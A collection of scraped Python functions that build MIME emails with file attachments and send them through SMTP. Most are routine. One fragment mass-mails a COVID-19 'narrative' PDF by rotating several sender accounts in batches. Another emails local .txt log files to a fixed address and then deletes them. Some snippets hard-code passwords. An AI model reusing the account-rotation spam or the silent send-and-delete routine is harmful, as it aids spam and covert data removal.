def mail(receiver, subject, abs_path_files): send_addr = '*****@*****.**' password = '******' msg = MIMEMultipart() msg['Subject'] = Header(subject, 'utf-8') msg['From'] = send_addr if isinstance(abs_path_files, str): single_file = list() single_file.append(abs_path_files) abs_path_files = single_file for file in abs_path_files: file_name = os.path.basename(file) att = MIMEBase('application', 'octet-stream', filename=file) att.add_header('Content-disposition', 'attatchment', filename=('utf-8', '', file)) att.set_payload(open(file, 'rb').read()) encoders.encode_base64(att) msg.attach(att) # 发送邮件 smtp = smtplib.SMTP('smtp.exmail.qq.com', 587) smtp.starttls() smtp.login(send_addr, password) smtp.sendmail(send_addr, receiver, msg.as_string()) smtp.quit()
def send_mail(_from_, to_, subject, text, files=None, server=config.MAIL_SERVER, port=config.MAIL_SERVER_PORT): assert isinstance(to_, (list, tuple)) if files is None: files = [] msg = MIMEMultipart() msg['From'] = _from_ msg['To'] = COMMASPACE.join(to_) msg['Date'] = formatdate(localtime=True) msg['Subject'] = subject msg.attach( MIMEText(text) ) for file_name, file_content in files: part = MIMEBase('application', "octet-stream") part.set_payload( file_content ) Encoders.encode_base64(part) part.add_header('Content-Disposition', 'attachment; filename="%s"' % file_name) msg.attach(part) smtp = smtplib.SMTP(server, port=port) smtp.sendmail(_from_, to_, msg.as_string() ) smtp.close()
def send_message(file, addr): smtp = smtplib.SMTP(SMTP_SERVER) msg = MIMEMultipart("alternative") msg["Subject"] = "Autogenerated message from %s" % file msg["From"] = addr msg["To"] = addr content_type, _ = mimetypes.guess_type(file) if content_type == "text/plain": with open(file) as f: content = f.read() msg_body = MIMEText(content) msg.attach(msg_body) else: with open(file, "rb") as f: content = f.read() msg_file = MIMEBase("application", "octet-stream") msg_file.set_payload(content) encoders.encode_base64(msg_file) msg_file.add_header("Content-Disposition", "attachment", filename=file) msg.attach(msg_file) if not DEBUG: smtp.sendmail(addr, [addr], msg.as_string()) smtp.quit()
def send_raw_email(self, **kwargs): ''' still in dev ''' msg_all = MIMEMultipart() msg_all['From'] = kwargs['source'] msg_all['To'] = kwargs['to_addresses'] msg_all['Subject'] = kwargs['subject'] msg_all.attach(MIMEText("""123國<br><a href="http://toomore.net/">link</a>""", 'html', 'utf-8')) ics = render_ics( title=u'吃火鍋', description=u'冬天到了要吃火鍋!', location=u'台北市中正區衡陽路51號', start=datetime(2015, 1, 29, 10), end=datetime(2015, 1, 29, 18, 30), created=None, admin=u'Toomore', admin_mail=u'*****@*****.**', url=u'http://toomore.net/' ) attachment = MIMEBase('text', 'calendar; name=calendar.ics; method=REQUEST; charset=UTF-8') attachment.set_payload(ics.encode('utf-8')) encoders.encode_base64(attachment) attachment.add_header('Content-Disposition', 'attachment; filename=%s' % "calendar.ics") msg_all.attach(attachment) return super(AwsSESTools, self).send_raw_email(msg_all.as_string(), kwargs['source'])
def sendMail(message, encoding='utf-8'): msg = MIMEMultipart('alternative') msg['Subject'] = Header(MAIL_TITLE.encode(encoding), encoding) msg['From'] = SENDER msg['To'] = SENDER text = message msg.attach(MIMEText(text.encode(encoding), 'html', encoding)) # Attach file if specified if FILE_JOINED: part = MIMEBase('application', 'octet-stream') part.set_payload(open(FILE_JOINED, 'rb').read()) Encoders.encode_base64(part) part.add_header('Content-Disposition', 'attachment; filename="%s"' % FILE_JOINED.split("/")[-1]) msg.attach(part) s = smtplib.SMTP(HOST, PORT) s.starttls() s.login(SENDER, SENDER_PASSWORD) try: s.sendmail(SENDER, SENDER, msg.as_string()) except: s.quit() return '%s Failed to send mail' % (SENDER) s.quit() return '%s / mail sent !' % (SENDER)
def mail(to, subject, text, attach=None, image=None): msg = MIMEMultipart() msg['From'] = GMAIL_USER msg['To'] = to msg['Subject'] = subject msg.attach(MIMEText(text)) if attach: part = MIMEBase('application', 'octet-stream') with open(attach, 'rb') as f: part.set_payload(f.read()) Encoders.encode_base64(part) part.add_header('Content-Disposition', 'attachment; filename="%s"' % os.path.basename(attach)) msg.attach(part) if image: with open(image, 'rb') as f: part = MIMEImage(f.read(), name=os.path.basename(image)) msg.attach(part) mailServer = smtplib.SMTP("smtp.gmail.com", 587) mailServer.ehlo() mailServer.starttls() mailServer.ehlo() mailServer.login(GMAIL_USER, GMAIL_PWD) mailServer.sendmail(GMAIL_USER, to, msg.as_string()) mailServer.close()
def send(subject, text, sender=SENDER, recipients=[RECIPIENT], attachments={}, smtp_host=SMTP_HOST, encoding=ENCODING): # encode all strings in binary strings subject = _binary(subject) text = _binary(text) sender = _binary(sender) if not isinstance(recipients, list): recipients = [recipients] recipients = _binary(recipients) # build the message message = MIMEMultipart() message['Subject'] = subject message['From'] = sender message['To'] = ', '.join(recipients) # attach text part message.attach(MIMEText(text, _charset=encoding)) # attach attachments if any for name,filename in attachments.items(): part = MIMEBase('application', 'octet-stream') part.set_payload(open(filename,"rb").read()) encode_base64(part) part.add_header('Content-Disposition', 'attachment; filename="%s"' % name) message.attach(part) smtp = smtplib.SMTP(smtp_host) smtp.sendmail(sender, recipients, message.as_string()) smtp.quit()
def add_file(self, path): attach = MIMEBase("application", "octet-stream") with open(path, "rb") as f: attach.set_payload(f.read()) encoders.encode_base64(attach) attach.add_header("content-disposition", "attachment", filename=os.path.basename(path)) self._attachs.append(attach)
def send_report( self, subject, body, attachment, apptype='x/zip'): """ Send the email report to its destination. @type to: string @param to: Destination email address for the report. @type subject: string @param subject: The subject of the email message. @type body: string @param body: The body of the email message (includes report summary). @type attachment: string @param attachment: Path to report file for attaching to message. @type apptype: string @param apptype: Application MIME type for attachment. """ message = MIMEMultipart() message['From'] = self.emailfrom message['To'] = self.emailto message['Subject'] = subject message.attach( MIMEText( body )) part = MIMEBase('application',apptype) part.set_payload( open( attachment, 'r').read()) Encoders.encode_base64(part) part.add_header('Content-Disposition','attachment; filename="%s"' % os.path.basename(attachment)) message.attach(part) conn = smtplib.SMTP(self.smtpserver, self.smtpport) conn.sendmail( message['From'], self.emailto, message.as_string()) conn.close()
def send_mail(to, subject, text, files=[]): assert type(files)==list msg = MIMEMultipart() msg['From'] = gmail_user msg['To'] = to msg['Subject'] = subject msg.attach(MIMEText(text.encode('utf-8'), 'plain', 'UTF-8')) for f in files: fp = open(os.path.join(config.application_path,f),"rb") part = MIMEBase('application', "octet-stream") part.set_payload(encodebytes(fp.read()).decode()) fp.close() part.add_header('Content-Transfer-Encoding', 'base64') part.add_header('Content-Disposition', 'attachment; filename="%s"' % f) msg.attach(part) # msg is an instance of MIMEMultipart() mailServer = smtplib.SMTP("smtp.gmail.com", 587) mailServer.ehlo() mailServer.starttls() mailServer.ehlo() mailServer.login(gmail_user, gmail_pwd) mailServer.sendmail(gmail_user, to, msg.as_string()) # Should be mailServer.quit(), but that crashes... mailServer.close()
def sendemail(templatedir, templatefile, subject, sender, receiver, game, player=None, pdfpath=None): try: outer = MIMEMultipart() outer['Subject'] = subject outer['From'] = sender outer['To'] = receiver outer['Date'] = email.utils.formatdate() outer['Message-Id'] = email.utils.make_msgid('hades') outer.preamble = '' text = MIMEText( str(mailstream(templatedir, templatefile, game=game, player=player)), 'plain', 'utf-8') outer.attach(text) if pdfpath is not None: ctype, encoding = mimetypes.guess_type(pdfpath) if ctype is None or encoding is not None: ctype = 'application/octet-stream' maintype, subtype = ctype.split('/', 1) fp = open(pdfpath, 'rb') attach = MIMEBase(maintype, subtype) attach.set_payload(fp.read()) fp.close() encoders.encode_base64(attach) attach.add_header('Content-Disposition', 'attachment', filename='auftrag.pdf') outer.attach(attach) s = smtplib.SMTP('localhost') s.sendmail(sender, [receiver], outer.as_string()) s.quit() except Exception as e: errprint("ERROR: Cannot send mail to receiver %s" % receiver) errprint(e) pass
def send_mail(send_from, send_to, subject, text, server, email_password, files=[], hide=False): assert type(send_to)==list assert type(files)==list assert type(hide)==bool msg = MIMEMultipart() msg['From'] = send_from if not hide: # Basically BCC the messages by leaving this out. msg['To'] = ', '.join(send_to) msg['Date'] = formatdate(localtime=True) msg['Subject'] = subject msg.attach( MIMEText(text) ) for f in files: part = MIMEBase('application', "octet-stream") part.set_payload( open(f,"rb").read() ) Encoders.encode_base64(part) part.add_header('Content-Disposition', 'attachment; filename="%s"' % os.path.basename(f)) msg.attach(part) smtp = smtp = smtplib.SMTP_SSL(server, 465) smtp.login(send_from, email_password) smtp.sendmail(send_from, send_to, msg.as_string()) smtp.close()
def sendmail(self,recipient = None): if not recipient is None: self.recipient = recipient # set mail type send_mail_msg = MIMEMultipart() send_mail_msg['Subject'] = self.subject send_mail_msg['To'] = self.recipient send_mail_msg['From'] = self.mailfrom # set mail body Contents = MIMEText(self.body.encode('utf-8'),'html','utf-8') send_mail_msg.attach(Contents) if not self.attach is None: # set mail attach fp = open(self.attach, "rb") attachment = MIMEBase("application", "octet-stream") attachment.set_payload(fp.read()) fp.close() encoders.encode_base64(attachment) attachment.add_header("Content-Disposition", "attachment", filename=self.attach) send_mail_msg.attach(attachment) # connect to smtp server smtp = smtplib.SMTP(self.smtphost) # login smtp smtp.login(self.mailfrom,self.password) # send mail smtp.sendmail(self.mailfrom, self.recipient, send_mail_msg.as_string()) # quit server smtp.quit() print "Successfully." return
def prompt_email_and_send(files, type): with open('credentials.txt', 'r') as f: login_email = f.readline().rstrip() login_password = f.readline().rstrip() msg = MIMEMultipart() msg['From'] = login_email msg['To'] = input("Your email address?") msg['Subject'] = "ADB-script Logs - "+device_name+" - "+type attachment=zip_attach(files) msg.attach(MIMEText("Here are your logs.")) part = MIMEBase('application', 'octet-stream') part.set_payload(open(attachment, 'rb').read()) encoders.encode_base64(part) part.add_header('Content-Disposition', 'attachment; filename="%s"' % os.path.basename(attachment)) msg.attach(part) try: server = smtplib.SMTP('smtp.gmail.com', 587) server.ehlo() server.starttls() server.login(login_email, login_password) print("Sending mail... This might take a while.") server.sendmail(msg['From'], msg['To'], msg.as_string()) server.quit() print("Successfully sent email.") except SMTPException: print("Error: unable to send email.")
def derive_email(): sender = '*****@*****.**' # school email receivers = input("Email address of .zip file recipient: ") password = getpass.getpass() #hidden input message = MIMEMultipart() message["From"] = sender message["To"] = receivers message["Subject"] = "[CSC 344 - Michael Phillips] Assignments Submission" message.attach(MIMEText("This is my submission of the CSC 344 assignments as a .zip file")) part = MIMEBase('application', 'octet-stream') part.set_payload(open("assignments.zip", 'rb').read()) encoders.encode_base64(part) part.add_header('Content-Disposition', 'attachment; filename="assignments.zip"') message.attach(part) try: smtpObj = smtplib.SMTP("smtp.gmail.com", 587) smtpObj.ehlo(); smtpObj.starttls(); smtpObj.ehlo(); smtpObj.login(sender, password) smtpObj.sendmail(sender, receivers, message.as_string()) smtpObj.close() print("Successfully sent email") except smtplib.SMTPException: print("Error: unable to send email")
def send_mail(fro, to, subject, text, files=[]): #assert type(server) == dict assert type(to) == list assert type(files) == list msg = MIMEMultipart('alternative') msg['Subject'] = subject msg['From'] = '*****@*****.**' # Your from name and email address msg['To'] = ','.join(to) #print msg['To'] msg['Date'] = formatdate(localtime=True) msg.attach(MIMEText(text, 'html', 'utf-8')) for file in files: data = open(file, 'rb') part = MIMEBase('application', 'octet-stream') #'octet-stream': binary data part.set_payload(data.read()) data.close() encoders.encode_base64(part) part.add_header('Content-Disposition', 'attachment', filename=os.path.basename(file)) msg.attach(part) s = smtplib.SMTP('10.80.81.132', 25) #s.login(username, password) s.sendmail(fro, to, msg.as_string()) s.quit() ''' mandrill web api way
def send_zipped_file(zipped_file, recipients, sender, connectParams): for param in ["host", "port", "user", "pass"]: assert param in connectParams, "must specify mandatory parameter %s" % param themsg = MIMEMultipart() themsg["Subject"] = "TEST: File %s" % zipped_file themsg["To"] = ", ".join(recipients) themsg["From"] = sender themsg.preamble = "I am not using a MIME-aware mail reader.\n" with open(zipped_file, "w+") as zf: # Create the message msg = MIMEBase("application", "zip") msg.set_payload(zf.read()) encoders.encode_base64(msg) msg.add_header("Content-Disposition", "attachment", filename=zipped_file) themsg.attach(msg) themsg = themsg.as_string() # send the message server = smtplib.SMTP(connectParams["host"], connectParams["port"]) server.ehlo() server.starttls() server.login("*****@*****.**", "Opensesami0114") server.sendmail(sender, recipients, themsg) server.quit()
def send_file_zipped(the_file, recipients, sender="*****@*****.**"): zf = tempfile.TemporaryFile(prefix="mail", suffix=".zip") zip = zipfile.ZipFile(zf, "w") zip.write(the_file) zip.close() zf.seek(0) # Create the message themsg = MIMEMultipart() themsg["Subject"] = "File %s" % the_file themsg["To"] = ", ".join(recipients) themsg["From"] = sender themsg.preamble = "I am not using a MIME-aware mail reader.\n" msg = MIMEBase("application", "zip") msg.set_payload(zf.read()) encoders.encode_base64(msg) msg.add_header("Content-Disposition", "attachment", filename=the_file + ".zip") themsg.attach(msg) themsg = themsg.as_string() # send the message smtp = smtplib.SMTP() smtp.connect() smtp.sendmail(sender, recipients, themsg) smtp.close()
def sendmailError(): LOG_FILENAME = '/python_scripts/error.txt' logging.basicConfig(filename=LOG_FILENAME, level=logging.ERROR) logging.exception('Error generated on' +' '+ str(datetime.now())) logging.debug('Error found. Please read message.') msg = MIMEMultipart() sender = '*****@*****.**' recipient = '*****@*****.**' msg['Subject'] = "Error running script" msg['From'] = sender msg['To'] = recipient attachment = open(LOG_FILENAME, 'rb') part = MIMEBase('application', 'octet-stream') part.set_payload((attachment).read()) encoders.encode_base64(part) part.add_header('Content-Disposition', 'attachment; filename= LOG_ERROR.txt') msg.attach(part) text = msg.as_string() s = smtplib.SMTP('xxx.amazonaws.com', 587) EMAIL_HOST_USER = '******' EMAIL_HOST_PASSWORD = '******' s.starttls() s.login(EMAIL_HOST_USER, EMAIL_HOST_PASSWORD) s.sendmail(sender, recipient, text) s.quit()
def snapshot_email(report_name, filename, data): ''' Send the report to the email account. ''' if not CONFIG['email_id']: LOG.info('Skipping email attachment.') return superman = CONFIG['email_id'] LOG.info('Attaching report for %s', superman) msg = MIMEMultipart() msg['Subject'] = '[Pombo report] {0}'.format(report_name) msg['From'] = superman msg['To'] = superman part = MIMEBase('application', 'octet-stream') part.add_header('Content-Disposition', 'attachment; filename="{0}"' .format(filename)) part.set_payload(data) encoders.encode_base64(part) msg.attach(part) try: conn = smtplib.SMTP('localhost') conn.sendmail(superman, superman, msg.as_string()) conn.quit() except Exception as ex: LOG.error(ex)
def send_mail(send_from, send_to, subject, text, files=[]): assert isinstance(send_to, list) assert isinstance(files, list) msg = MIMEMultipart() msg['From'] = send_from msg['To'] = COMMASPACE.join(send_to) msg['Date'] = formatdate(localtime=True) msg['Subject'] = subject msg.attach( MIMEText(text) ) for f in files: part = MIMEBase('application', "octet-stream") part.set_payload( open(f,"rb").read() ) Encoders.encode_base64(part) part.add_header('Content-Disposition', 'attachment; filename="%s"' % os.path.basename(f)) msg.attach(part) smtp = smtplib.SMTP('smtp.gmail.com', 587) smtp.ehlo() smtp.starttls() smtp.login("*****@*****.**", pw) smtp.sendmail(send_from, send_to, msg.as_string()) smtp.quit()
def email(): hashed="43657166f4c72d25ef02dd2b82afb72b58860f1aeda068a45c2a7353962fb57ffa98db5231457318d6ffae8d6bcd56540f2fd871e3053486edd1e305c571af19" #passw= passwd(hashed) month="{:%B %Y}".format(datetime.date.today()) fromaddr = "*****@*****.**" toaddr = ['*****@*****.**'] #toaddr = ['*****@*****.**', '*****@*****.**', '*****@*****.**','*****@*****.**'] msg = MIMEMultipart() msg['From'] = fromaddr #msg['To'] = toaddr msg['To'] = ",".join(toaddr) msg['Subject'] = "Vet Lounge Traffic of %s" % month body = "DO NOT reply this email. This is an automatic generated email with traffic data for veterans lounge. Should you have any question, please email [email protected]." msg.attach(MIMEText(body, 'plain')) filename = "%s.xlsx" %month #filename = "August.xlsx" attachment = open("/Users/johnjayveterans/Desktop/summer_project/testing.xlsx", "rb") #attachment = open("/Users/garytsai/Desktop/rfid-reader-http/summer_project/testing.xlsx", "rb") part = MIMEBase('application', 'octet-stream') part.set_payload((attachment).read()) encoders.encode_base64(part) part.add_header('Content-Disposition', "attachment; filename= %s" % filename) msg.attach(part) server = smtplib.SMTP('smtp.gmail.com', 587) server.starttls() server.login(fromaddr, "%s" % passwd(hashed)) text = msg.as_string() server.sendmail(fromaddr, toaddr, text) server.quit()
def send(self, subject, html, smtp_server, images=[], zipfile=None): msg = MIMEMultipart() msg['From'] = '{0} <{1}>'.format(self.name, self.sender) msg['To'] = COMMASPACE.join(self.to) msg['Date'] = formatdate(localtime=True) msg['Subject'] = subject if self.reply_to is not None: msg['Reply-To'] = self.reply_to msg.attach(MIMEText(html.encode('utf-8'), 'html', 'utf-8')) for i, image in enumerate(images): img = MIMEImage(image.read()) img.add_header('Content-ID', '<image{0}>'.format(i+1)) msg.attach(img) if zipfile: zip = MIMEBase('application', 'zip') zip.set_payload(zipfile.read()) encoders.encode_base64(zip) zip.add_header('Content-Disposition', 'attachment; filename=%s' % basename(zipfile)) msg.attach(zip) smtp = smtplib.SMTP(smtp_server) smtp.sendmail(self.sender, set(self.to+self.bcc), msg.as_string()) smtp.close()
def addAttachments(self, message, Attachments): for item in Attachments: dtemp = tempfile.mkdtemp() tempAttach = os.path.join(dtemp, 'tempAttach') item.SaveAsFile(tempAttach) attachment = MIMEBase('application', 'octet-stream') try: fp = open(tempAttach, 'rb') attachment.set_payload(fp.read()) fp.close() encoders.encode_base64(attachment) fname = item.DisplayName.encode(OutlookCharset, errors='ignore') attachment.add_header( 'Content-Disposition', 'attachment', filename=fname ) message.attach(attachment) os.remove(tempAttach) os.rmdir(dtemp) except IOError, e: # Some attachements are URLs to outside files # The result is a "tempAttach.url" file, with the link to attachement # Open fails on this type of file # Leaving a temporary file and directory is not clean # TODO Clean this mess pass
def send(self): if(not os.path.isfile(self.exportFile)): return msg = MIMEMultipart() #msg = EmailMessage() #msg['Subject'] = 'Export %s' % datetime.now().isoformat() msg['Subject'] = 'Export plugin.video.streams' msg['From'] = addon.getSetting('smtpUsername') msg['To'] = SETTINGS.EXPORT_EMAIL #msg.set_content(fp.read()) fp=open(self.exportFile,"rb") attach = MIMEBase('application', 'json') attach.set_payload(fp.read()) fp.close() # Encode the payload using Base64 #encoders.encode_base64(msg) attach.add_header('Content-Disposition', 'attachment', filename='streams.json') msg.attach(attach) #msg.add_attachment(f.read(), # maintype='application', # subtype='json', # filename='export.json') try: self.smtp.sendmail(addon.getSetting('smtpUsername'), SETTINGS.EXPORT_EMAIL, msg.as_string()) #s.send_message(msg) except Exception as inst: addon_log(inst) xbmcgui.Dialog().ok(addon.getLocalizedString(30300), addon.getLocalizedString(30409), str(inst))
def envia_email(de, para, assunto, mensagem, arquivos, servidor): # Cria o objeto da mensagem msg = MIMEMultipart() # Define o cabeçalho msg['From'] = de msg['To'] = para msg['Date'] = formatdate(localtime=True) msg['Subject'] = assunto # Atacha o texto da mensagem msg.attach(MIMEText(mensagem)) # Atacha os arquivos for arquivo in arquivos: parte = MIMEBase('application', 'octet-stream') parte.set_payload(open(arquivo, 'rb').read()) encoders.encode_base64(parte) parte.add_header('Content-Disposition', 'attachment; filename="%s"' % os.path.basename(arquivo)) msg.attach(parte) # Conecta ao servidor SMTP smtp = smtplib.SMTP(servidor, 587) smtp.ehlo() smtp.starttls() smtp.ehlo() # Faz login no servidor smtp.login('*****@*****.**', 'galaxy_fCfRp') # Envia o e-mail smtp.sendmail(de, para, msg.as_string()) # Desconecta do servidor smtp.close()
def send(self, destination, subject, content, html_diff, new_file): """Send an email with 2 attached html files""" server = smtplib.SMTP_SSL(self.host, self.port) server.login(self.user, self.password) msg = MIMEMultipart() msg['Subject'] = subject msg['From'] = self.user msg['To'] = destination msg.attach(MIMEText(content)) elems = { 'diff.html' : html_diff, 'new.html' : new_file } for name, content in elems.iteritems(): m = MIMEBase('text', 'html') m.set_payload(content) Encoders.encode_base64(m) m.add_header('Content-Disposition', 'attachment; filename="%s"' % name) msg.attach(m) server.sendmail(self.user, destination, msg.as_string()) server.quit()
class MimeEncryptingWrapper(MimeWrapper): CONTAINER_TYPE = 'multipart/encrypted' CONTAINER_PARAMS = () ENCRYPTION_TYPE = 'application/x-encrypted' ENCRYPTION_VERSION = 0 def __init__(self, *args, **kwargs): MimeWrapper.__init__(self, *args, **kwargs) self.version = MIMEBase(*self.ENCRYPTION_TYPE.split('/')) self.version.set_payload('Version: %s\n' % self.ENCRYPTION_VERSION) for h, v in (("Content-Disposition", "attachment"), ): self.version.add_header(h, v) self.enc_data = MIMEBase('application', 'octet-stream') for h, v in (("Content-Disposition", "attachment; filename=\"msg.asc\""), ): self.enc_data.add_header(h, v) self.attach(self.version) self.attach(self.enc_data) def _encrypt(self, message_text, tokeys=None, armor=False): return self.crypto().encrypt(message_text, tokeys=tokeys, armor=True) def _update_crypto_status(self, part): part.encryption_info.part_status = 'decrypted' def wrap(self, msg, prefer_inline=False): to_keys = set(self.get_keys(self.recipients + [self.sender])) if prefer_inline: prefer_inline = self.get_only_text_part(msg) if prefer_inline is not False: message_text = Normalize(prefer_inline.get_payload(None, True)) status, enc = self._encrypt(message_text, tokeys=to_keys, armor=True) if status == 0: _update_text_payload(prefer_inline, enc) self._update_crypto_status(prefer_inline) return msg else: MimeWrapper.wrap(self, msg) del msg['MIME-Version'] if self.cleaner: self.cleaner(msg) message_text = self.flatten(msg) status, enc = self._encrypt(message_text, tokeys=to_keys, armor=True) if status == 0: self.enc_data.set_payload(enc) self._update_crypto_status(self.enc_data) return self.container raise EncryptionFailureError(_('Failed to encrypt message!'), to_keys)
def send_email(): """ Sends email to the designated address """ if internet(): print(os.listdir()) for file in os.listdir(): if file.endswith('.txt'): logging.debug("sending email") import smtplib from email.mime.multipart import MIMEMultipart from email.mime.text import MIMEText from email.mime.base import MIMEBase from email import encoders fromaddr = fromaddr toaddr = addr ##To address # instance of MIMEMultipart msg = MIMEMultipart() # storing the senders email address msg['From'] = fromaddr # storing the receivers email address msg['To'] = toaddr # storing the subject msg['Subject'] = sub # string to store the body of the mail global date body = "Your log for {} " .format(date) # attach the body with the msg instance msg.attach(MIMEText(body, 'plain')) # open the file to be sent filename = file attachment = open(filename, "rb") # instance of MIMEBase and named as p p = MIMEBase('application', 'octet-stream') # To change the payload into encoded form p.set_payload((attachment).read()) # encode into base64 encoders.encode_base64(p) p.add_header('Content-Disposition', "attachment; filename= %s" % filename) # attach the instance 'p' to instance 'msg' msg.attach(p) # creates SMTP session s = smtplib.SMTP('smtp.gmail.com', 587) # start TLS for security s.starttls() # Authentication s.login(fromaddr, frompass) ##Pass # Converts the Multipart msg into a string text = msg.as_string() # sending the mail s.sendmail(fromaddr, toaddr, text) # terminating the session s.quit() print("sent") attachment.close() os.remove(file) logging.debug("File deleted") else: logging.debug("No file found")
#Convert to MIME format part2 = MIMEText(html, "html") part1 = MIMEText(text, "text") #Attach the mime elements to the message. msg.attach(part2) msg.attach(part1) #Now attach any files you want to send - set up the file name at the line below or use a wildcard etc files = ["files.*"] files = ["THE-COVID-19-Pandemic-Challenging-the-Narrative.pdf"] for path in files: part = MIMEBase('application', "octet-stream") with open(path, 'rb') as file: part.set_payload(file.read()) encoders.encode_base64(part) part.add_header('Content-Disposition', 'attachment; filename="{}"'.format(Path(path).name)) msg.attach(part) #You can use different email accounts to send your bulk messages - perhaps sending 50 from each account every 30 mins or something. email_accounts = [["smtp.isp1.com", "--- email 1----", "password 1"], ["smtp.isp2.com", "--- email 2----", "password 2"], ["smtp.isp3.com", "--- email 3----", "password 3"]] #Count how many email addresses were defined. batch_size = len(email_accounts) #The email addresses should be one per line #Get a recursive list of file paths that matches pattern including sub directories fileList = glob.glob('email_addresses*', recursive=False) #Sort the list into alphabetical order. fileList.sort() no_files = len(fileList)
def email(smtpOptions, emailAddr, text, subj, attachments=list(), bcc=list()): # <smtpOptions> must be a dictianry. # Mandatory keys are: # * addr - smtp server # Optional keys are: # * from - sender mail address. # default: to "Cerebro Mail Service <*****@*****.**>" # * ssl - use SSL. # default: False # * tls - start TLS # default: False # * login - user name to login on SMTP # default: None # * psswd - user password to login on SMTP # default: None # * log - log email sent # default: False # * skip - skip rea; mail send. Used for debug # default: False # * debugEmail - override mail adress # # * To - set To header # * Cc - set Cc header # # * zipFile - compress all atachments in zip and attach it # # emailAddr - is a comma-separated list of emails # # attachments must be list of two component entries: [<bytearray> - atachment content, <str> - attachment name] # # Example use: # email({'addr' : 'cerebrohq.com', 'ssl' : False}, '*****@*****.**', 'message text', 'message subject') mailTo = emailAddr if 'debugEmail' in smtpOptions: toAddrs = [smtpOptions['debugEmail']] print('email adress overriden {0} -> {1}'.format( emailAddr, smtpOptions['debugEmail'])) else: toAddrs = splitEmailAddr(mailTo, bcc) #print('emailAddr ', emailAddr); #print('toaddr ', toAddrs); #print('uniqMail ', uniqMail); if 'from' in smtpOptions: mailFrom = smtpOptions['from'] else: mailFrom = 'Cerebro Mail Service <*****@*****.**>' msg = MIMEMultipart() msg['Subject'] = Header(subj, 'utf-8') msg['From'] = mailFrom msg['To'] = smtpOptions['To'] if ('To' in smtpOptions) else mailTo if 'Cc' in smtpOptions: msg['Cc'] = smtpOptions['Cc'] try: if str('<html>') in text: part2 = MIMEText(text.encode('utf-8'), 'html', 'utf-8') else: part2 = MIMEText(text.encode('utf-8'), 'plain', 'utf-8') except Exception as ex: msgErr = time.strftime( '%Y-%m-%d %H:%M:%S' ) + ': email encode FAILED <' + emailAddr + '> : ' + str(ex) + "\n" msgErr += "MESSAGE DUMP BEGIN:\n" msgErr += str(base64.encodebytes(text.encode('unicode_internal')), 'ascii') msgErr += "MESSAGE DUMP END\n" if ('log' in smtpOptions) and smtpOptions['log']: sys.stderr.write(msgErr) sys.stderr.flush() raise Exception(msgErr) msg.attach(part2) if 'zipFile' in smtpOptions: if len(attachments) > 0: zFileName = tempfile.mktemp() zFile = zipfile.ZipFile(zFileName, mode='a', compression=zipfile.ZIP_DEFLATED) for attach in attachments: zFile.writestr(correctFileName(attach[1]), attach[0]) zFile.close() attachments = [[ open(zFileName, 'rb').read(), smtpOptions['zipFile'] ]] os.remove(zFileName) for attach in attachments: attachment = MIMEBase("application", "octet-stream") attachment.add_header('Content-Disposition', 'attachment', filename=correctFileName(attach[1])) attachment.add_header('Content-Transfer-Encoding', 'base64') attachment.set_payload(str(base64.encodebytes(attach[0]), 'ascii')) msg.attach(attachment) try: if not (('skip' in smtpOptions) and smtpOptions['skip']): useTLS = ('tls' in smtpOptions and smtpOptions['tls']) useSSL = ('ssl' in smtpOptions and smtpOptions['ssl']) port = 25 if useSSL: port = 465 if 'port' in smtpOptions: port = smtpOptions['port'] if useSSL: smtp = smtplib.SMTP_SSL(smtpOptions['addr'], port) else: smtp = smtplib.SMTP(smtpOptions['addr'], port) if useTLS: smtp.ehlo() smtp.starttls() smtp.ehlo() if 'login' in smtpOptions and len(smtpOptions['login']) > 0: smtp.login(smtpOptions['login'], smtpOptions['psswd']) smtp.sendmail(mailFrom, toAddrs, msg.as_string()) if ('log' in smtpOptions) and smtpOptions['log']: print( time.strftime('%Y-%m-%d %H:%M:%S') + ': email sent to: ', emailAddr) except Exception as ex: if ('log' in smtpOptions) and smtpOptions['log']: msgErr = time.strftime( '%Y-%m-%d %H:%M:%S' ) + ': email FAILED <' + emailAddr + '> : ' + str(ex) + "\n" sys.stderr.write(msgErr) sys.stderr.flush() raise
def send(self, mail_to_list, cc_mail_to_list, bcc_mail_to_list, subject, body, attachement=None): # Make sure recipients is an array of unique elements, then format it to be a coma-separated string mail_to_list = list(set(mail_to_list)) cc_mail_to_list = list(set(cc_mail_to_list)) bcc_mail_to_list = list(set(bcc_mail_to_list)) # Set email sender in the header, recipients, subject, and email body msg = MIMEMultipart() msg['From'] = self.FROM msg['To'] = ','.join(mail_to_list) msg['CC'] = ','.join(cc_mail_to_list) msg['BCC'] = ','.join(bcc_mail_to_list) msg['Subject'] = subject formatted_body = """ <html> <head></head> <body> {body} </body> </html> """.format(body=body) msg.attach(MIMEText(formatted_body, 'html')) # Attach file if any if attachement is not None: with open(attachement, 'r') as f: attachement_data = f.read() payload = MIMEBase('application', 'octet-stream') payload.set_payload(attachement_data) encoders.encode_base64(payload) payload.add_header( 'Content-Disposition', 'attachement; filename={}'.format(basename(attachement))) msg.attach(payload) logging.info('Payload file attached !') msg = msg.as_string() logging.info('Email successfully formatted !') try: server = SMTP(host=self.HOST, port=self.PORT) logging.info('Successfully connected to SMTP server !') server.starttls() server.login(user=self.ADDR, password=self.PASS) logging.info('Successfully logged in to email user {}'.format( self.ADDR)) to_addresses = mail_to_list + cc_mail_to_list + bcc_mail_to_list server.sendmail(self.ADDR, to_addresses, msg) logging.info('Email sent to {}'.format(to_addresses)) server.quit() except Exception as e: logging.exception('Error: {}'.format(e))
from email.mime.base import MIMEBase TO = "[email protected], [email protected]" FROM = "*****@*****.**" SUBJECT = "LSC Feedback" themsg = MIMEMultipart() themsg['Subject'] = 'LSC Feedback' themsg['To'] = TO themsg['From'] = FROM msg = MIMEBase('application', 'zip') zf = open(outfile, 'rb') msg.set_payload(zf.read()) encoders.encode_base64(msg) msg.add_header('Content-Disposition', 'attachment', filename=outfile) themsg.attach(msg) #themsg = themsg.as_string() #oye SENDMAIL = "/usr/sbin/sendmail" # sendmail location import os p = os.popen("%s -t" % SENDMAIL, "w") p.write("To: [email protected]\n") p.write("Subject: test\n") p.write("\n") # blank line separating headers from body p.write("Some text\n") p.write("some more text\n") sts = p.close() if sts != 0: print ("Sendmail exit status", sts)
